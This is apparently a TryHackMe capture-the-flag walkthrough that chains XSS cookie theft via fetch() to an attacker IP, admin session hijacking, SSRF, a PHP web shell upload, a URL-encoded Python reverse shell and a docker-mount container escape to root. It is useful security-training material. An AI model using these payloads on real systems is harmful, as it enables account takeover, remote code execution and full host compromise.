Sequence - TryHackMe - Walkthrough
Exploit a chain of vulnerabilities and gain root access.
Description
This is a walkthrough for the Sequence challenge on TryHackMe. The challenge is rated as medium and is about exploiting several vulnerabilities to gain root access on the machine.
In the description of the Room, there is already the hostname which you may add to the /etc/hosts
file.
1
sudo bash -c "echo 'MACHINE_IP review.thm' >> /etc/hosts"
Scanning
I started with a basic nmap
scan on all ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ sudo nmap -p- -sV -sC -oA nmap/machine -vv review.thm
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Review Shop
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are only two ports open, SSH on port 22 and HTTP on port 80. The only important thing you may need from the scan is that the httponly
flag is not set for the PHPSESSID
cookie, this allows us to access the cookie through JavaScript and steal the cookie using a XSS payload.
XSS
The page on port 80 allows you to either login or to contact the staff of the page.
The contact page allows you to send various data fields which may be vulnerable to XSS.
To test if the page is vulnerable to XSS, I used the <script>
tag followed by a simple fetch function which calles back to my listener. Additionally I appended the cookies to get the session cookie.
1
<script>fetch("http://10.14.78.229:9001/"+document.cookie)</script>
After crafting the payload I pasted the payload in the Message field which looked most promising for XSS. Once the payload was send it took around 10s until the payload hit my listener.
The cookie received can now replace our current random cookie and can give us privileged access to the site.
As soon as you placed the cookie you can go back to the root directory of the webserver and will receive the elevated header and page containing the first flag at the top center.
Using XSS further
For the second flag you need to abuse the chat function available for the mod user which we got through the contact page. For testing I pasted several characters inside the message field and tired to send them to see if they get encoded or if a simple payload like before works.
Unfortunately, all characters that could be used in an XSS payload are encoded — probably by htmlspecialchars()
. To gain further access to the admin you need to dive more deeply into how the admin is viewing this site and see what he is doing. I next tried to send the admin a link to my listener; luckily the attacker visited the link after waiting a few seconds.
Once you discovered this behavior of the admin user, you need to abuse and exploit it. Taking a step back: we already found an XSS vulnerability on the page that steals the user’s cookie when they visit the site. The admin most likely also has access to the Feedback page, which is vulnerable to stored XSS. If we simply redirect the admin to that page, we could steal the admin’s cookie as well.
There’s no need to create a new XSS payload — the one from the first flag is sufficient for this task. The only job now is to get the admin to visit the Feedback page. I just sent the link in the chat and started a new listener. In comparison to the first XSS abuse, this time I used a Python listener, since it shouldn’t stop listening after receiving just one cookie. The mod user is still on the page and will keep sending his cookie we already captured.
Once you did the same process of replacing the cookie and reloading the page — once again — you will be able to see the admin flag.
SSRF to an internal server
To solve the next task you may need to take a step back and scan for PHP files on the server. For that I simply used ffuf
, but this can also be done using gobuster
or any similar tool.
1
2
3
4
5
6
7
8
9
10
11
12
$ffuf -u http://review.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt
.htaccess [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 70ms]
.htpasswd [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 70ms]
[Status: 200, Size: 1694, Words: 234, Lines: 69, Duration: 70ms]
.hta [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 82ms]
index.php [Status: 200, Size: 1694, Words: 234, Lines: 69, Duration: 70ms]
javascript [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 72ms]
mail [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 65ms]
phpmyadmin [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 70ms]
server-status [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 82ms]
uploads [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 82ms]
The mail directory immediately sounded interesting. Inside the directory, there is a dump file containing an email from Robert to the team. In that email, Robert mentions that lottery.php
and finance.php
are two PHP files hosted internally.
If you now return to the admin dashboard and select the lottery feature from the dropdown, the browser will send a POST request to dashboard.php
with lottery.php
as the feature argument. This is most likely the file mentioned in the email.
As you might have guessed I simply tried to replace the lottery.php
with finance.php
. The step to scan the webserver is not necessary, you can also FUZZ (using ffuf
) the files which you can reach and find finance.php
this way.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /dashboard.php HTTP/1.1
Host: review.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Content-Type: multipart/form-data; boundary=----geckoformboundary35919095ca65e38f866318ea21b1d523
Content-Length: 179
Cookie: PHPSESSID=gj510vd09k83s2ba4uc52pe1t8
Upgrade-Insecure-Requests: 1
Priority: u=0, i
------geckoformboundary35919095ca65e38f866318ea21b1d523
Content-Disposition: form-data; name="feature"
finance.php
------geckoformboundary35919095ca65e38f866318ea21b1d523--
This request gave back the finance.php
page. By inspecting the page thoroughly you can see that there is a file upload function which allows to upload a file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<title>Finance Panel</title>
</head>
<body>
<div id="finance-panel-wrapper" style="position: relative; background: #f4f6f8; padding: 30px; font-family: Arial, sans-serif;">
.....
<h3>📤 Upload Latest Investor Details</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="investor_file" required style="margin-bottom: 10px;"><br>
<button type="submit" style="
padding: 8px 16px;
background: #28a745;
color: white;
border: none;
cursor: pointer;
border-radius: 4px;
">Upload</button>
</form>
</div>
</div>
</div>
File upload and RCE
To abuse the File upload available on the finance.php
page you may send a request with a file to the /dashboard.php
endpoint. I used the request down below with a simple PHP web shell.
The file uploaded without any issues and now we may be able to access it, I modified the location from finance.php
to uploads/shell.php
and added a simple id command to see if we get a result.
Once that worked I generated a reverse shell command on revshells.com and used the following payload which must be URL encoded:
1
uploads/shell.php?cmd=python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.14.78.229%22%2C9003%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22bash%22%29%27
After sending the request you should receive a connection. The next step is to stabilize the shell.
1
2
3
4
5
6
7
8
9
10
$nc -lvnp 9003
Listening on 0.0.0.0 9003
Connection received on 10.10.239.167 42516
root@4f18a45cca05:/var/www/html/uploads# python3 -c 'import pty;pty.spawn("/bin/bash")';
root@4f18a45cca05:/var/www/html/uploads# ^Z
[1]+ Stopped nc -lvnp 9003
$stty raw -echo; fg
nc -lvnp 9003
root@4f18a45cca05:/var/www/html/uploads#
The hex 4f18a45cca05
as the hostname already reveals that this is very likely a Docker container. The docker container itself doesn’t contain any additionally helpful files, so the next step is to find some way to escape the container and gain access to the host machine. A common misconfiguration is that the docker command is accessable in the container, so for that I tested that first.
1
2
3
4
5
6
root@4f18a45cca05:/var/www/html/uploads# docker
Usage: docker [OPTIONS] COMMAND
A self-sufficient runtime for containers
.....
Fortunaltely you are able to execute the command in the container. To exploit the misconfiguration I first searched for a suitable container that can be used. Finally I started the container, mounted the host filesystem and extracted the flag file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@4f18a45cca05:/var/www/html/uploads# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
phpvulnerable latest d0bf58293d3b 3 months ago 926MB
php 8.1-cli 0ead645a9bc2 6 months ago 527MB
root@4f18a45cca05:/var/www/html/uploads# docker run -v /:/mnt --rm -it php:8.1-cli chroot /mnt sh
# ls /root
bin flag.txt lib root share snap '~'
# ls
bin boot dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var
# cd home
# ls
qathm ubuntu
# cd qathm
# ls
# pwd
/home/qathm
# wc /root/flag.txt
1 1 20 /root/flag.txt
Further Notes
File upload
I was very confused when I was trying to upload a file. In general there is no possibility to send a file/POST request through SSRF and the only thing I could think of was HTTP request smuggling. Maybe you asked yourself the same question how this was implemented, here is the source code (stolen from the server after root access 😈)! The dashboard.php
basically checks if the investor_file
data field is present and if it is it will upload the file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (isset($_FILES['investor_file'])) {
$file = $_FILES['investor_file'];
$ch = curl_init();
$cfile = new CURLFile($file['tmp_name'], $file['type'], $file['name']);
curl_setopt_array($ch, [
CURLOPT_URL => 'http://192.168.100.10/finance.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => ['investor_file' => $cfile],
]);
$responseContent = curl_exec($ch);
if (curl_errno($ch)) {
$responseContent = "<div class='alert alert-danger mt-3'>cURL Error: " . curl_error($ch) . "</div>";
}
curl_close($ch);
}